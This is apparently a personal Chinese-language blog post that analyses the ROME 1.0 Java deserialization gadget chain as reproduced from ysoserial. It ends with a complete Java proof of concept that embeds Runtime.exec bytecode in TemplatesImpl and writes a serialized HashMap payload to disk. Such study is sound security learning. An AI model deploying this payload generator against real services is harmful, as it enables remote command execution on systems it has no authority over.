简介 突然发现十天没更新博客了,大概我觉得自己学的东西很垃圾,没有自己创造的一些东西吧。
但是日子还得过,博客还得写。
学习是一辈子的事情,不想让坏心情来妨碍我的步调。
Gaget Chains 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
复现 依赖:rome1.0+jdk1.8+tomcat9
1 2 3 4 5 <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0 </version> </dependency>
分析
基于ysoserial
ToStringBean.toString(String prefix) 首先分析这条链子的核心部分,可以看到ysoserial两次实例化了ObjectBean类
出现问题的地方就是ToStringBean.toString(String prefix)
,使用了invoke来反射调用方法,但是这个方法需要是无参的
如果这里我们能够调用恶意Templates类的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
方法,就能动态加载恶意字节码从而触发命令执行
但首先要解决的是PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
在构造方法中,new ToStringBean(beanClass, obj);
传入的beanClass就是BeanIntrospector.getPropertyDescriptors(this._beanClass);
中的this._beanClass
接下来跟进BeanIntrospector.getPropertyDescriptors
这个静态方法
BeanIntrospector.getPropertyDescriptors
调试时候发现要进到判断里去,跟进getPDs
这个方法主要是获取一个Class所有的getters和setters
调试中发现他获取了这个Templates类的outputProperties方法,他还有个重载方法用来获取具体的方法数组
PropertyDescriptor 这个类是java.beans
包下的工具类
PropertyDescriptor 类表示 JavaBean 类通过存储器导出一个属性。
构造方法有:
1 2 3 4 5 PropertyDescriptor(String propertyName, Class<?> beanClass) PropertyDescriptor(String propertyName, Class<?> beanClass, String readMethodName, String writeMethodName) PropertyDescriptor(String propertyName, Method readMethod, Method writeMethod)
常用方法有:
1 2 3 4 5 Class<?> getPropertyType() Method getReadMethod () Method getWriteMethod () void setReadMethod (Method readMethod) void setWriteMethod (Method writeMethod)
ToStringBean.toString 回到ToStringBean.toString(String prefix)
66行getName没啥用
67行拿到PropertyDescriptor中的method,就能够进到反射调用方法了
因此构造toStringBean的时候,我们只要指定this._obj
为我们的恶意字节码Template类,也就是反射方法的调用者
this._beanClass
为Templates.class,来获取到它唯一的getter,也就是getOutputProerties()方法
构造
ObjectBean.hashCode 接下来就是分析调用链了,hashCode方法是我们常用的一个把攻击链串起来的方法,ObjectBean中也有,并且通过它我们能够实现接下来的一系列攻击链调用
他会调用EqualsBean中的beanHashCode方法,这个类是我们在构造阶段可以控制的
EqualsBean.beanHashCode
调用了toString,而这里的this._obj
我们也可控
也就是说我们可以先构造一个含有equalBean的ObjectBean,然后把装载恶意template的toStringBean放进去
这样当调用ObjectBean.hashCode的时候就能完成调用。
HashMap 入口类还是HashMap,因此整个链子的构造也很清楚,我们尝试自己编写payload
编写poc 自己编写生成payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package com.romeAttack;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javax.xml.transform.Templates;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.io.OutputStream;import java.lang.reflect.Field;import java.util.HashMap;public class RomeSer { public byte [] getPayload(String command) throws Exception { TemplatesImpl templatesImpl = createTemplatesImpl(command); ObjectBean tSB = new ObjectBean (Templates.class, templatesImpl); ObjectBean bean = new ObjectBean (ObjectBean.class, new ObjectBean (String.class, "foo" )); HashMap<Object, Object> map = new HashMap <>(); map.put(bean, "foo" ); setFieldValue(bean,"_equalsBean" ,new EqualsBean (ObjectBean.class, tSB)); ByteOutputStream byteOutputStream = new ByteOutputStream (); FileOutputStream fos = new FileOutputStream ("C:\\Users\\AEQAQ\\Desktop\\gc\\1.ser" ); ObjectOutputStream oos = new ObjectOutputStream (fos); oos.writeObject(map); oos.flush(); oos.close(); return null ; } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static TemplatesImpl createTemplatesImpl (String command) throws Exception { TemplatesImpl templates = new TemplatesImpl (); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass clazz = pool.makeClass("Cat" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\" , "\\\\" ).replace("\"" , "\\\"" ) + "\");" ; clazz.makeClassInitializer().insertAfter(cmd); String randomClassName = "EvilCat" + System.nanoTime(); clazz.setName(randomClassName); clazz.setSuperclass(pool.get(AbstractTranslet.class.getName())); final byte [] classBytes = clazz.toBytecode(); setFieldValue(templates, "_bytecodes" , new byte [][] {classBytes}); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return templates; } }